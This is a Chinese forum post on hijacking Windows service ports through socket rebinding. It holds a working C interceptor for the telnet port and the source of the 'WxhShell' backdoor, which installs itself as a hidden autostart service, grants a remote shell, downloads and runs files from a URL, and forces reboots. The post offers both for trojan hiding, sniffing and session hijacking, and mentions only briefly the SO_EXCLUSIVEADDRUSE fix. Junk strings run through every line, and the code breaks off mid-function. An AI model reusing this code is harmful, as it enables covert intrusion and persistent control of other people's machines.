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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 0]&~ddL  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &{99Owqg  
q*8^938  
  saddr.sin_family = AF_INET; mV6\gR[h  
__OD^?qa  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f3h^R20qmO  
; 7k@_  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); gq!| 0  
% [b~4,c1  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 s%GhjWZS  
b$[O^p9x  
  这意味着什么?意味着可以进行如下的攻击: \:, dWL u  
q,A;d^g  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Hn+w1v&3  
_ 7X0  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \hoYQK j  
hKj"Lb9 ]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 h.(CAm%Y7  
?VmE bl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  l@Uo4b^4x  
%#7Yr(&  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ,onOwPz  
v47Y7s:uQ  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 kdcr*7w  
\$LrL  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~ (I'm[  
*EY^t=  
  #include  74i  
  #include Fg;V6s/>ts  
  #include C7:;<<"P  
  #include    dz3chy,3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   s~V%eq("}  
  int main() h2<Y*j  
  { V/"P};n  
  WORD wVersionRequested; I*hCIy#;  
  DWORD ret; OFH!z{*  
  WSADATA wsaData; [Vzp D 4  
  BOOL val; C{^U^>bU  
  SOCKADDR_IN saddr; rXgU*3 RG  
  SOCKADDR_IN scaddr; csABfxib  
  int err; X} <p|P+  
  SOCKET s; 6_1v~#  
  SOCKET sc; `_M*2(rt  
  int caddsize; rRgP/E#_  
  HANDLE mt; oS.fy31p  
  DWORD tid;   *PEk+e  
  wVersionRequested = MAKEWORD( 2, 2 ); @'XxMO[Z!<  
  err = WSAStartup( wVersionRequested, &wsaData ); t{A/Lq9AM  
  if ( err != 0 ) { Y;n;7M<F  
  printf("error!WSAStartup failed!\n"); KicPW}_  
  return -1; 8y:c3jzP_  
  } +OM`c7M:  
  saddr.sin_family = AF_INET; =GGt:3Kx-  
   ! 3&_#VO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 uv>T8(w  
0{0BL@H  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); "'i" @CR  
  saddr.sin_port = htons(23); wX7|a/|@  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )}`3haG  
  { xweV8k/  
  printf("error!socket failed!\n"); @-9u;aL  
  return -1; GP|G[  
  } T;{M9W+  
  val = TRUE; +T\c<lJ9  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 e[`u:  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9#C hn~ \  
  { 9j6# #@{  
  printf("error!setsockopt failed!\n"); o'uv5asdb  
  return -1; X }UR\8g  
  } f/!^QL{  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Jng,:$sZ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 UM?{ba9  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 AL(YQ )-Cg  
ah1DuTT/G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7J:zIC$u>  
  { io8c[#"uU  
  ret=GetLastError(); kaK0'l2%  
  printf("error!bind failed!\n"); Av3qoH)[<  
  return -1; 8V]oR3'  
  } '1o1=iJN@$  
  listen(s,2); ^&nC)T<w  
  while(1) ?z "fp$  
  { !sbKJ+V7  
  caddsize = sizeof(scaddr); g(9\r  
  //接受连接请求 '%k<? *  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X[F<sxw  
  if(sc!=INVALID_SOCKET) <M//zXa  
  { T!GX^nn*O  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Q"2t :  
  if(mt==NULL) ,<,ige  
  { =e<;B_ ~.  
  printf("Thread Creat Failed!\n"); GQZLOjsop  
  break; -85]x)JE  
  } b7X-mkF  
  } In%K  
  CloseHandle(mt); ?52{s"N0>  
  } ?2#!63[Kg  
  closesocket(s); +@:$7m(V  
  WSACleanup(); b?h)~j5  
  return 0; |sa{!tKJ  
  }   F4=+xd >0  
  DWORD WINAPI ClientThread(LPVOID lpParam) kPh;SCr{  
  { T);eYC"@  
  SOCKET ss = (SOCKET)lpParam; J2c.J/o  
  SOCKET sc; 8XwZJ\5  
  unsigned char buf[4096]; HkGA$  
  SOCKADDR_IN saddr; 35 Y#eU2]  
  long num; i&|fGX?-I  
  DWORD val; !^o(?1  
  DWORD ret; H|E{n/g  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OHz>B!`  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   {i:5XL   
  saddr.sin_family = AF_INET; :'\4%D=w  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x2P}8Idg?A  
  saddr.sin_port = htons(23); UKIDFDn6_  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) GrwoV~  
  { xB&kxW.;  
  printf("error!socket failed!\n"); ER z@o_  
  return -1; ,I(PDlvtM  
  } t>04nN_@,s  
  val = 100; / 7EeM{,~  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5<%]6cx}  
  { -EwtO4vLJ  
  ret = GetLastError(); R @h@@lSf  
  return -1; RVlAWw(  
  } aJnZco6  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >e]46 K  
  { .JR"|;M}  
  ret = GetLastError(); (kECV8)2  
  return -1; F TB@70  
  } s_(%1/{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) z8#c!h<@;  
  { 1|4'3^3  
  printf("error!socket connect failed!\n");  R~jV  
  closesocket(sc); 9.bMA<X  
  closesocket(ss); h6!o,qw"  
  return -1; +y+-~;5iv  
  } z0@)@4z!  
  while(1) Y0kDHG  
  { _g%Wx?K9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5kwDmJy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 S-FoyID\H  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'O#,;n  
  num = recv(ss,buf,4096,0); u>~G)lx%  
  if(num>0) J- %YmUc)  
  send(sc,buf,num,0); .x$!Rc}  
  else if(num==0) .Yxx   
  break; $ Cr? }'a  
  num = recv(sc,buf,4096,0); @!92Ok  
  if(num>0) O*af`J{  
  send(ss,buf,num,0); u9AXiv+K  
  else if(num==0) #y~`nyg%|  
  break; 0:(`t~  
  } 8T5s6EmIOW  
  closesocket(ss); .uAO k0^z  
  closesocket(sc); %ZV a{Nc  
  return 0 ;  E%g_O_  
  }  T)o)%Yv  
%@<}z|.4  
#;F1+s<|QJ  
========================================================== k~ZwHx(%S  
v= b`kCH}  
下边附上一个代码,,WXhSHELL ziuhS4k  
NQq$0<7.=W  
========================================================== RdlcJxM  
9N>Dp N  
#include "stdafx.h" #!\g5 ')mC  
zBWn*A[4  
#include <stdio.h>  MD~03  
#include <string.h> ukV1_QeN [  
#include <windows.h> `.+_}.m  
#include <winsock2.h> 8W?/Sg`  
#include <winsvc.h> rlYAy5&  
#include <urlmon.h> wy&s~lpV,7  
jGM~(;iw6i  
#pragma comment (lib, "Ws2_32.lib") X:\r )  
#pragma comment (lib, "urlmon.lib") M{+Ie?ZI  
yG?,8!/]  
#define MAX_USER   100 // 最大客户端连接数 ZbJzf]y:6  
#define BUF_SOCK   200 // sock buffer = >)S\Dfi  
#define KEY_BUFF   255 // 输入 buffer 8>G3KZ3  
.63:G<  
#define REBOOT     0   // 重启 HT/zcd)}#  
#define SHUTDOWN   1   // 关机 8$<jd^w  
6sb,*uSn%  
#define DEF_PORT   5000 // 监听端口 0qSd #jO  
%-?HC jT  
#define REG_LEN     16   // 注册表键长度 9J_lxy}  
#define SVC_LEN     80   // NT服务名长度 xd\k;nq  
A?8f 6  
// 从dll定义API M(o?I}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |4BS\fx~N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 1]#qxjZ~  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yhQv $D,^f  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ?:OL8&0  
G 8OLx+!0e  
// wxhshell配置信息 /02|b}{  
struct WSCFG { qsXK4`  
  int ws_port;         // 监听端口 zghUwW|K  
  char ws_passstr[REG_LEN]; // 口令 h9c54Ux  
  int ws_autoins;       // 安装标记, 1=yes 0=no MGeHccqh2  
  char ws_regname[REG_LEN]; // 注册表键名 &; 5QB  
  char ws_svcname[REG_LEN]; // 服务名 E$m3Gg)s>N  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @#Jc!p7)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "NSm2RU3  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 D1t@Y.vl  
int ws_downexe;       // 下载执行标记, 1=yes 0=no qsn6i%VH  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" #R<4K0Xan  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hv te)  
P4"_qxAW  
}; `s(T (l  
?UnOi1"v9  
// default Wxhshell configuration =Y>_b 2  
struct WSCFG wscfg={DEF_PORT, K.G}*uy  
    "xuhuanlingzhe", si,fs%D&  
    1, Q~<$'j  
    "Wxhshell", gJ cf~@s  
    "Wxhshell", A~&Tp  
            "WxhShell Service", d:}aFP[  
    "Wrsky Windows CmdShell Service",  M]:4X_  
    "Please Input Your Password: ", lDd+.44V:  
  1, #rM/  
  "http://www.wrsky.com/wxhshell.exe", `sOCJ|rc5  
  "Wxhshell.exe" }Wjb0V  
    };  bz'V50  
&S9Sl  
// 消息定义模块 Q9=vgOW+  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _3-nw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _]H$rf,Rc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5xL%HX[S  
char *msg_ws_ext="\n\rExit."; o,(MB[|hQ  
char *msg_ws_end="\n\rQuit."; Lw<?e;  
char *msg_ws_boot="\n\rReboot..."; j4Ppn  
char *msg_ws_poff="\n\rShutdown..."; `!Ei H<H}  
char *msg_ws_down="\n\rSave to "; lR_ 4iyqb  
3\WLm4  
char *msg_ws_err="\n\rErr!"; q\*",xZxwz  
char *msg_ws_ok="\n\rOK!"; U,S&"`a  
YqwDvJWX  
char ExeFile[MAX_PATH];  *e{d^  
int nUser = 0; #!0le:_  
HANDLE handles[MAX_USER]; +[@Ug`5M  
int OsIsNt; 3OTq  
WL(u'%5  
SERVICE_STATUS       serviceStatus; "&Ym(P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W#!![JDc  
ZOvMA]Rf  
// 函数声明 J&4LyIpQ  
int Install(void); 7@al)G;~  
int Uninstall(void); QWG?^T fi  
int DownloadFile(char *sURL, SOCKET wsh); uCuXY#R+  
int Boot(int flag); e 5U<nf  
void HideProc(void); E&r*[;$  
int GetOsVer(void); xo/[,rR  
int Wxhshell(SOCKET wsl); SOQm>\U'i  
void TalkWithClient(void *cs); e.9oB<Etp  
int CmdShell(SOCKET sock); 'PTWC.C?9  
int StartFromService(void); zS*GYE(l^  
int StartWxhshell(LPSTR lpCmdLine); 5\/h3 i"I  
0Pw?@uV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); LQ pUyqR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); mwLp~z%OX  
e!wBNcG2  
// 数据结构和表定义 `~Nd4EA)2  
SERVICE_TABLE_ENTRY DispatchTable[] = -N+'+  
{ "Wd?U[[  
{wscfg.ws_svcname, NTServiceMain}, M?pu7wa  
{NULL, NULL} j&)"a,f  
}; Fn0Rq9/@  
0]3%BgZ(a8  
// 自我安装 v`8dRVN  
int Install(void) xq1 =O  
{ *l:5FT p  
  char svExeFile[MAX_PATH]; &z;F'>"  
  HKEY key; oZ;u>MeZ  
  strcpy(svExeFile,ExeFile); (@Q@B%!!K  
AG6tt  
// 如果是win9x系统,修改注册表设为自启动 H@Dj$U  
if(!OsIsNt) { e(E6 t_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uTY5.8  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !Tuc#yFw  
  RegCloseKey(key); |pk1pV |  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X& EcQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KrN#>do&<  
  RegCloseKey(key); }|>mR];  
  return 0; '#d`K.;_b.  
    } }ybveZxv5A  
  } 2lPj%i 5  
} !7XAc,y  
else { +M th+qgw  
\A'MEd-  
// 如果是NT以上系统,安装为系统服务 qD:3;85  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ((L=1]w  
if (schSCManager!=0) M;*f(JY$  
{ 7+';&2M)n~  
  SC_HANDLE schService = CreateService 2OFrv=F  
  ( n |5+HE4@  
  schSCManager, 3D>syf  
  wscfg.ws_svcname, 3 " fBp  
  wscfg.ws_svcdisp, 0X =Yly*m@  
  SERVICE_ALL_ACCESS, m }I@:s2  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q]+'{Ci@  
  SERVICE_AUTO_START, 9fR`un)f}  
  SERVICE_ERROR_NORMAL, t~m >\(&  
  svExeFile, R<aF;Rvb5  
  NULL, ??Zh$^No:  
  NULL, $,R QA^gxW  
  NULL, ``bIqY  
  NULL, `?)ivy>\:  
  NULL &`hx   
  );  wc# #'u  
  if (schService!=0) Ng=XH"ce~  
  { #hPa:I$Oc  
  CloseServiceHandle(schService); O^(ji8[l  
  CloseServiceHandle(schSCManager); B[k {u#Kp  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); r(9#kLXg  
  strcat(svExeFile,wscfg.ws_svcname); b z3 &  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /y/O&`X(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); PScq-*^  
  RegCloseKey(key); It.G-(  
  return 0; #;ez MRKM"  
    } ,{=pFs2  
  } 4E[ 9)n+YV  
  CloseServiceHandle(schSCManager); oGz-lO{lt  
} c\.Hs9T >  
} r9[{0y!4  
ZZ/F}9!=  
return 1; xW92 ZuzSH  
} 3Z.<=D  
owYf1=G  
// 自我卸载 U1zcJ l^  
int Uninstall(void) O3, IR1  
{ 4LY kK/:  
  HKEY key; V 2-fJ!  
6 6S I  
if(!OsIsNt) { r9:Cq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^~iu),gu  
  RegDeleteValue(key,wscfg.ws_regname); V'[Lqe,y  
  RegCloseKey(key); (' yBIb\ue  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AWkXW l}  
  RegDeleteValue(key,wscfg.ws_regname); Fy(-.S1  
  RegCloseKey(key); .~J}80a/  
  return 0; AC*> f&  
  } 8^bc4(H  
} r 334E  
} 05_aL` &eb  
else { mI5BJ  
3/+r*lv>X  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); J=QuZwt  
if (schSCManager!=0) M[aF3bbN  
{ 9='a9\((mH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "`Y.N$M`k  
  if (schService!=0) 6:Eu[PE~w  
  { Mf [v7\  
  if(DeleteService(schService)!=0) { ,Y|WSKY*  
  CloseServiceHandle(schService); F91'5D,u0  
  CloseServiceHandle(schSCManager); zS]8ma  
  return 0;  egur}  
  } #*QnO\.  
  CloseServiceHandle(schService); R pUq#Y:a  
  } ]"Y? ZS;H  
  CloseServiceHandle(schSCManager); -%8*>%  
} "<f"r#   
} 7` 113`1  
N#(p_7M  
return 1; {C6,h#|pg  
} &z!yY^g  
(* WO<V  
// 从指定url下载文件 nksx|i l  
int DownloadFile(char *sURL, SOCKET wsh) 7noxUGmFw  
{ ^Ec);Z  
  HRESULT hr; {9>LF  
char seps[]= "/"; H_H3Gp  
char *token; l42 3+vo  
char *file; p:kHb@  
char myURL[MAX_PATH]; WvV!F?uqZ  
char myFILE[MAX_PATH]; Npq_1L  
cj=6_k  
strcpy(myURL,sURL); ^! ?wh  
  token=strtok(myURL,seps); NGsG4y^g?z  
  while(token!=NULL) TGUlJLT  
  { NJ 6* 7Cd  
    file=token; wGRMv1|lIu  
  token=strtok(NULL,seps); tWD5Yh>.?$  
  } WS17DsWW  
A.`) 0dV  
GetCurrentDirectory(MAX_PATH,myFILE); QLr.5Wcg>  
strcat(myFILE, "\\"); kkA5 pbS  
strcat(myFILE, file); s/' ]* n  
  send(wsh,myFILE,strlen(myFILE),0); B !>hHQ2  
send(wsh,"...",3,0); pAZD>15l"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); NR </Jm*  
  if(hr==S_OK) .(D,CGtYb  
return 0; h!>K[*  
else ((Jiv=%  
return 1; 6S`J7[  
WoYXXYP/E  
} #* KmPc+  
j>D[iHrH  
// 系统电源模块 _VvXE572  
int Boot(int flag) K<#Q;(SFU  
{ Zt3Y<3o  
  HANDLE hToken; 3b9SyU2  
  TOKEN_PRIVILEGES tkp; 8ux?K5_  
$0(~ID  
  if(OsIsNt) { .=I:cniw\r  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y9/x:n&]  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); M.*3qWM  
    tkp.PrivilegeCount = 1; Hi V7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; "$@Wy,yp  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); zQPQP`  
if(flag==REBOOT) { gk-g!v&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?G|*=-8  
  return 0; Y2Z<A(W  
} klUW_d-  
else { "q<}#]u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) VZ o,AP~  
  return 0; Uu}a! V  
} ~a5-xWEZ  
  } KV1/!r+*  
  else { A7eF.V&  
if(flag==REBOOT) { [H-r0Ah  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S(&]?!  
  return 0; 2%i3[N*  
} q>n0'`q   
else { czp .q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j 1Ng[  
  return 0; v c r5  
} z[E gMS!  
}  + f+#W  
[UW%(N  
return 1; &a/F"?9jL  
} 4Iq-4IG(  
li`4&<WGC  
// win9x进程隐藏模块 Bkq3-rX\  
void HideProc(void) cW|M4`  
{ I7Uj<a=(q  
?J1x'/G  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rB<za I\V  
  if ( hKernel != NULL ) L)mb.U$`c|  
  { |K7zN\ Wq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Q r n^T  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'IykIf  
    FreeLibrary(hKernel); q ad`muAd  
  } \/ 9s<  
a YC[15?'  
return; h^`!kp  
} Mu~DB:Y9e  
N8-!}\,  
// 获取操作系统版本 Cnv M>]  
int GetOsVer(void) ?)2&LVrf  
{ 0>aAI3E  
  OSVERSIONINFO winfo; j,%<16f^A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ivi,/~L  
  GetVersionEx(&winfo); =Eimbk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <O]TM-h  
  return 1; ;`(l)X+7  
  else 2rG;j52))a  
  return 0; *It`<F|  
} >bo_  
{dk%j~w8  
// 客户端句柄模块 BPH-g\q  
int Wxhshell(SOCKET wsl) AD=qB5:  
{ `62iW3y  
  SOCKET wsh; WF!u2E+  
  struct sockaddr_in client; ov@N13 ,$  
  DWORD myID; |oL}c!0vs  
$7~T+fmF  
  while(nUser<MAX_USER) b;AGw3SF  
{ F6vN{ FI  
  int nSize=sizeof(client); ux 7^PTgcO  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P*\h)F/3}t  
  if(wsh==INVALID_SOCKET) return 1; : K#z~#n  
='p&T|&  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6')pM&`t  
if(handles[nUser]==0) :hA=(iz  
  closesocket(wsh); =HGC<#  
else Uql|32j  
  nUser++;  r*gQGvc  
  } /%P|<[< [  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4J"S?HsW|  
2L!wbeTb;  
  return 0; , '_y@9?I  
} X`n)]~  
nB#m?hK  
// 关闭 socket pm.Zc'23  
void CloseIt(SOCKET wsh) \*(A1Vk  
{ "%~Jb dx  
closesocket(wsh); Hfw*\=p  
nUser--; !pwY@} oL  
ExitThread(0); !T<4em8  
} cKbjW  
t\/i9CBn  
// 客户端请求句柄 Wvg+5Q  
void TalkWithClient(void *cs) &:3uK`  
{ ^)|!nd  
:nYnTo`  
  SOCKET wsh=(SOCKET)cs; _(R1En1  
  char pwd[SVC_LEN]; zP F0M(  
  char cmd[KEY_BUFF]; [lmghI!  
char chr[1]; d5hYOhO[  
int i,j; D (>,#F  
?hXeZB+b4  
  while (nUser < MAX_USER) { G(n e8L8  
lh N2xg5x  
if(wscfg.ws_passstr) { 42Qfv%*c  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =FB[<%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &N`s@Ka  
  //ZeroMemory(pwd,KEY_BUFF); 2%|0c\y|z=  
      i=0; ~g6`Cp`  
  while(i<SVC_LEN) { Q|gRBu  
_ yu d  
  // 设置超时 3 W%Bsqn  
  fd_set FdRead; t,f)!D$  
  struct timeval TimeOut; i xf~3Y8  
  FD_ZERO(&FdRead); uaX#nn?ws  
  FD_SET(wsh,&FdRead); lVw77bZ  
  TimeOut.tv_sec=8; npj_i /&g  
  TimeOut.tv_usec=0; _gGI&0(VM  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;VL v2J*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0# )I :5  
kzK4i!}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Dm")\"5\?  
  pwd=chr[0]; us_o{  
  if(chr[0]==0xd || chr[0]==0xa) { m,u5S=3A{!  
  pwd=0; "L(4 EcO@  
  break; kwcH$w<I  
  } v}Gpw6   
  i++; <#[_S$54  
    } <8JV`dTywC  
&7}\mnhB  
  // 如果是非法用户,关闭 socket :c vZk|b%  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); FRSz3^Aw  
} %y{f] m  
#)qn$&.H  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u(Y! _  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &8##)tS(y  
\e=Iw"yd  
while(1) { J0 [^hH  
Nx%]dOa  
  ZeroMemory(cmd,KEY_BUFF); 'T '&OA  
:Z}d#Rbl  
      // 自动支持客户端 telnet标准   t,YnweH  
  j=0; fku\O<1  
  while(j<KEY_BUFF) { \hm;p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^-*q  
  cmd[j]=chr[0]; 015 ;'V#we  
  if(chr[0]==0xa || chr[0]==0xd) { go6XUe  
  cmd[j]=0; $,mljJSQv  
  break; .tg2HKD_lW  
  } 3 N5un`K7  
  j++; \1[=t+/  
    } S\,~6]^T  
j56#KNAha  
  // 下载文件 yFD3:;}  
  if(strstr(cmd,"http://")) { g!#M0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5-=&4R\k  
  if(DownloadFile(cmd,wsh)) xrXfLujn%  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JQo"<<[  
  else )&nfV5@"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b3h3$kIYN  
  } ;fdROI  
  else { dGNg[  
a/ k0(  
    switch(cmd[0]) { )1EF7.|  
  Z4"SKsJT/>  
  // 帮助 L"_l(<g  
  case '?': { 5t,W'a_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _ $ Wj1h  
    break; ^57G]$Q  
  } U= Gw(  
  // 安装 prdlV)LTpY  
  case 'i': { rryC^Vma  
    if(Install()) bm</qF'T6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <{z*6FM!'  
    else Oi?+Z:lak  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4YT d  
    break; <r8sZrY  
    } |5;:3K+  
  // 卸载 =vpXYj  
  case 'r': { $*KM%M6  
    if(Uninstall()) &ody[k?'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MnQ4,+ji-  
    else RRasX;zK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4P>4d +  
    break; 5Nt40)E}sN  
    } ;b-d2R  
  // 显示 wxhshell 所在路径 DJ!<:9FD  
  case 'p': { fH> I/%  
    char svExeFile[MAX_PATH]; < s>y{ e  
    strcpy(svExeFile,"\n\r"); |([|F|"  
      strcat(svExeFile,ExeFile); 03!!# 5iJ  
        send(wsh,svExeFile,strlen(svExeFile),0); ac2G;}B|  
    break; /'ukeK+'  
    } TTfU(w%&P  
  // 重启 W/\M9  
  case 'b': { FEF $4)ROv  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =Qf.  
    if(Boot(REBOOT)) }(yX$ 3?`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Cc!Iw'0M  
    else { ]9 ArT$  
    closesocket(wsh); "Q[rM1R  
    ExitThread(0); ^&Re-{ES]  
    } z5UY0>+VdS  
    break; HTa]T'  
    } CkHifmc(u-  
  // 关机 3lw8%QD>  
  case 'd': { qGYru1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !e0OGf  
    if(Boot(SHUTDOWN)) Tp.t.Qic  
